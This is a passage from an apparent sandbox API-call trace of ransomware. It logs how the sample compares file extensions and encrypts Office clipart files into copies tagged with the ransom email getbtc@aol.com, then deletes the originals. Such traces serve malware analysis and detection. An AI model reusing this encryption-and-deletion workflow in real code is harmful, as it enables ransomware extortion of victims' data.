(lpString1=".bz2", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString=".7z") returned 3 [0245.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.762] lstrlenW (lpString=".dbf") returned 4 [0245.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.762] lstrlenW (lpString=".1cd") returned 4 [0245.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.762] lstrlenW (lpString=".jpg") returned 4 [0245.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.762] lstrlenW (lpString=".doc") returned 4 [0245.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.762] lstrlenW (lpString=".docx") returned 5 [0245.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.762] lstrlenW (lpString=".pdf") returned 4 [0245.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.763] lstrlenW (lpString=".xls") returned 4 [0245.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.763] lstrlenW (lpString=".xlsx") returned 5 [0245.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.763] lstrlenW (lpString=".ppt") returned 4 [0245.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.763] lstrlenW (lpString=".zip") returned 4 [0245.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.763] lstrlenW (lpString=".rar") returned 4 [0245.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.763] lstrlenW (lpString=".bz2") returned 4 [0245.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.763] lstrlenW (lpString=".7z") returned 3 [0245.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.763] lstrlenW (lpString=".dbf") returned 4 [0245.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.763] lstrlenW (lpString=".1cd") returned 4 [0245.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0245.763] lstrlenW (lpString=".jpg") returned 4 [0245.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.763] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.763] lstrlenW (lpString="BS00445_.WMF") returned 12 [0245.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.764] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3796) returned 1 [0245.764] CloseHandle (hObject=0x398) returned 1 [0245.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0245.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0245.764] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.765] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0245.765] GetLastError () returned 0x0 [0245.765] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xed4, lpOverlapped=0x0) returned 1 [0246.355] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0246.356] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.356] WriteFile (in: hFile=0x394, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.356] SetEndOfFile (hFile=0x394) returned 1 [0246.356] CloseHandle (hObject=0x394) returned 1 [0246.356] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.357] SetEndOfFile (hFile=0x398) returned 1 [0246.359] CloseHandle (hObject=0x398) returned 1 [0246.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0246.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0246.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.566] lstrlenW (lpString=".doc") returned 4 [0246.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString=".docx") returned 5 [0246.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.566] lstrlenW (lpString=".pdf") returned 4 [0246.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString=".xls") returned 4 [0246.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.566] lstrlenW (lpString=".xlsx") returned 5 [0246.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.566] lstrlenW (lpString=".ppt") returned 4 [0246.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.566] lstrlenW (lpString=".zip") returned 4 [0246.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.566] lstrlenW (lpString=".rar") returned 4 [0246.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString=".bz2") returned 4 [0246.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString=".7z") returned 3 [0246.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.566] lstrlenW (lpString=".dbf") returned 4 [0246.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.566] lstrlenW (lpString=".1cd") returned 4 [0246.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.567] lstrlenW (lpString=".jpg") returned 4 [0246.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.567] lstrlenW (lpString=".doc") returned 4 [0246.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString=".docx") returned 5 [0246.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0246.567] lstrlenW (lpString=".pdf") returned 4 [0246.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString=".xls") returned 4 [0246.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0246.567] lstrlenW (lpString=".xlsx") returned 5 [0246.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0246.567] lstrlenW (lpString=".ppt") returned 4 [0246.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.567] lstrlenW (lpString=".zip") returned 4 [0246.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0246.567] lstrlenW (lpString=".rar") returned 4 [0246.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString=".bz2") returned 4 [0246.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString=".7z") returned 3 [0246.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0246.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.567] lstrlenW (lpString=".dbf") returned 4 [0246.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.568] lstrlenW (lpString=".1cd") returned 4 [0246.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0246.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0246.568] lstrlenW (lpString=".jpg") returned 4 [0246.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.568] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0246.568] lstrlenW (lpString="BS01603_.WMF") returned 12 [0246.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.621] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=7176) returned 1 [0246.621] CloseHandle (hObject=0x3a8) returned 1 [0246.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0246.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0246.757] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.757] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0247.333] GetLastError () returned 0x0 [0247.333] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0247.335] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0247.336] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.336] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.336] SetEndOfFile (hFile=0x3b0) returned 1 [0247.336] CloseHandle (hObject=0x3b0) returned 1 [0247.336] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.336] SetEndOfFile (hFile=0x338) returned 1 [0247.338] CloseHandle (hObject=0x338) returned 1 [0247.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString=".doc") returned 4 [0247.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString=".docx") returned 5 [0247.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.348] lstrlenW (lpString=".pdf") returned 4 [0247.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString=".xls") returned 4 [0247.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.348] lstrlenW (lpString=".xlsx") returned 5 [0247.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.348] lstrlenW (lpString=".ppt") returned 4 [0247.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString=".zip") returned 4 [0247.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.348] lstrlenW (lpString=".rar") returned 4 [0247.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString=".bz2") returned 4 [0247.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString=".7z") returned 3 [0247.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString=".dbf") returned 4 [0247.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString=".1cd") returned 4 [0247.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString=".jpg") returned 4 [0247.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.349] lstrlenW (lpString=".doc") returned 4 [0247.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString=".docx") returned 5 [0247.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.349] lstrlenW (lpString=".pdf") returned 4 [0247.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString=".xls") returned 4 [0247.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.349] lstrlenW (lpString=".xlsx") returned 5 [0247.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.349] lstrlenW (lpString=".ppt") returned 4 [0247.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.349] lstrlenW (lpString=".zip") returned 4 [0247.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.349] lstrlenW (lpString=".rar") returned 4 [0247.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString=".bz2") returned 4 [0247.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString=".7z") returned 3 [0247.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.349] lstrlenW (lpString=".dbf") returned 4 [0247.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.349] lstrlenW (lpString=".1cd") returned 4 [0247.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0247.349] lstrlenW (lpString=".jpg") returned 4 [0247.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.349] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.349] lstrlenW (lpString="CRANE.WMF") returned 9 [0247.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.396] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=5270) returned 1 [0247.396] CloseHandle (hObject=0x3ac) returned 1 [0247.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0247.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.397] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.397] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.397] GetLastError () returned 0x0 [0247.397] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1496, lpOverlapped=0x0) returned 1 [0247.406] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0247.406] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.406] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0247.406] SetEndOfFile (hFile=0x3bc) returned 1 [0247.407] CloseHandle (hObject=0x3bc) returned 1 [0247.407] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.407] SetEndOfFile (hFile=0x3ac) returned 1 [0247.408] CloseHandle (hObject=0x3ac) returned 1 [0247.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0247.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.419] lstrlenW (lpString=".doc") returned 4 [0247.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.419] lstrlenW (lpString=".docx") returned 5 [0247.419] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0247.419] lstrlenW (lpString=".pdf") returned 4 [0247.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.419] lstrlenW (lpString=".xls") returned 4 [0247.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.419] lstrlenW (lpString=".xlsx") returned 5 [0247.419] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0247.419] lstrlenW (lpString=".ppt") returned 4 [0247.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString=".zip") returned 4 [0247.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.420] lstrlenW (lpString=".rar") returned 4 [0247.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString=".bz2") returned 4 [0247.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString=".7z") returned 3 [0247.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString=".dbf") returned 4 [0247.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString=".1cd") returned 4 [0247.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0247.420] lstrlenW (lpString=".jpg") returned 4 [0247.420] lstrcmpiW 